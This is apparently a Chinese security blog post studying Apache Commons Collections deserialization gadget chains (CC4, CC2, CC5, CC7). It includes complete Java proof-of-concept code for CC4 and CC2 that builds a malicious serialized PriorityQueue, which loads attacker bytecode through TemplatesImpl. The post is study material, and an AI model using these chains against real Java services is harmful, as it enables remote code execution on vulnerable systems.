cc4&cc2&cc5&cc7


cc4

cc4cc更新了一个大版本,这个版本里面有漏洞中间修复了,但是我们还是从transform入手去找

我们选择这个,因为这个可以序列化(cc3没有这个接口,这也太搞了),compare也很常用,接着继续找,而且最好是在ReadObject,最后是在PriorityQueue里找见

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

继续走heapify()到了siftDown,再到siftDownComparable

private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

可以看到有compare

然后照猫画虎,前面一样,后面用TransformingComparator

ChainedTransformer chainedTransformer = new ChainedTransformer(trs);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

可以看到PriorityQueue是可以直接传comparator

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

但是这里序列化反序列化后无事发生

可以看到是这里,我们必须让size至少是2才能继续进去,但现在size0,于是我们改一下,这里如果直接add的话不可以,因为进去看一下会发现add后面也用了compare然后直接没有序列化就本地调了transform_tfactory还是ReadObject才会添上,因此没写这个的话还会报错

或者反射改

Class p = PriorityQueue.class;
Field size = p.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);

所以我们先传一个没用的值再在后面改了

可以看到它这里就是transformer

Class c =transformingComparator.getClass();
Field declaredFieldtransformer = c.getDeclaredField("transformer");
declaredFieldtransformer.setAccessible(true);
declaredFieldtransformer.set(transformingComparator,chainedTransformer);

这下就成功执行

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc =templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"lll");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
        byte[][]code2={code1};
        bytecodesField.set(templates,code2);


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] trs=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(trs);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c =transformingComparator.getClass();
        Field declaredFieldtransformer = c.getDeclaredField("transformer");
        declaredFieldtransformer.setAccessible(true);
        declaredFieldtransformer.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");



   }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc2

templates.newTransformer();可以直接,我们就用InvokerTransformer调而不是像cc4一样实例化

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

然后我们还是要找个地方将templates放进去且保证add不能提前本地调用

priorityQueue.add(templates);
priorityQueue.add(2);

Class c =transformingComparator.getClass();
Field declaredFieldtransformer = c.getDeclaredField("transformer");
declaredFieldtransformer.setAccessible(true);
declaredFieldtransformer.set(transformingComparator,invokerTransformer);

这里注意要第一个传templates而不能第二个传

PriorityQueue优先队列,添加元素时会自动触发「堆排序」,新元素(第二个)会和已有的第一个元素比较;

如果把 templates 放第二个,添加时会立刻触发 Comparator.compare() → 调用还未赋值的 transformer(大概率是 null),直接抛异常;

templates 放第一个,添加时无其他元素可比较,不会触发 compare(),等你反射改完 transformer 后,后续反序列化 / 排序时才会触发恶意逻辑。

如图

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc =templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"lll");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
        byte[][]code2={code1};
        bytecodesField.set(templates,code2);

        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c =transformingComparator.getClass();
        Field declaredFieldtransformer = c.getDeclaredField("transformer");
        declaredFieldtransformer.setAccessible(true);
        declaredFieldtransformer.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");



   }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

也可以用toString也是防止提前执行,那反射把toString改成了transformer

这条链的特点是没有用到 Transformer[]数组


cc5

cc5是改了一下入口的方法:将HashMap.ReadObjet->TiedMapEntry.hashcode改成BadAttributeValueExpException.ReadObject->TiedMapEntry.toString

getValue()里有map.get


cc7

cc7也是改了入口,改成了Hashtable.readObject最后调用了reconstitutionPut而这个

readObjectreconstitutionPut → 键对象的 hashCode/equals (lazymap的equal)→ AbstractMapDecorator.equalsAbstractMap.equals

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

e为我们能传的键值对,可以看到它调了e.key.equals(key),所以我们现在再去找哪里的equals有问题(get/hashcode

public boolean equals(final Object object) {
    if (object == this) {
        return true;
    }
    return decorated().equals(object);
}

AbstractMapDecorator.equals 是装饰器的 “转发逻辑”,会把调用传给内部包装的真实 Map;而AbstractMapDecorator 内部包装的 Map 通常是 LazyMap(而 LazyMap 继承自 AbstractMap)。当调用 decorated().equals(object) 时,本质上调用的是 LazyMapequals 方法 —— 但 LazyMap 自己并没有重写 equals 方法,所以会向上继承使用父类 AbstractMapequals 方法

AbstractMapequals

public boolean equals(Object o) {
    if (o == this)
        return true;
    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        // 核心:遍历 entry 并调用 get() 方法
        for (Entry<K,V> e : entrySet()) {
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                // 这里调用了 get() 方法!
                if (!(m.get(key) == null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }
    return true;
}

最后就可以调到get了,而且不只可以是LazyMapget


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录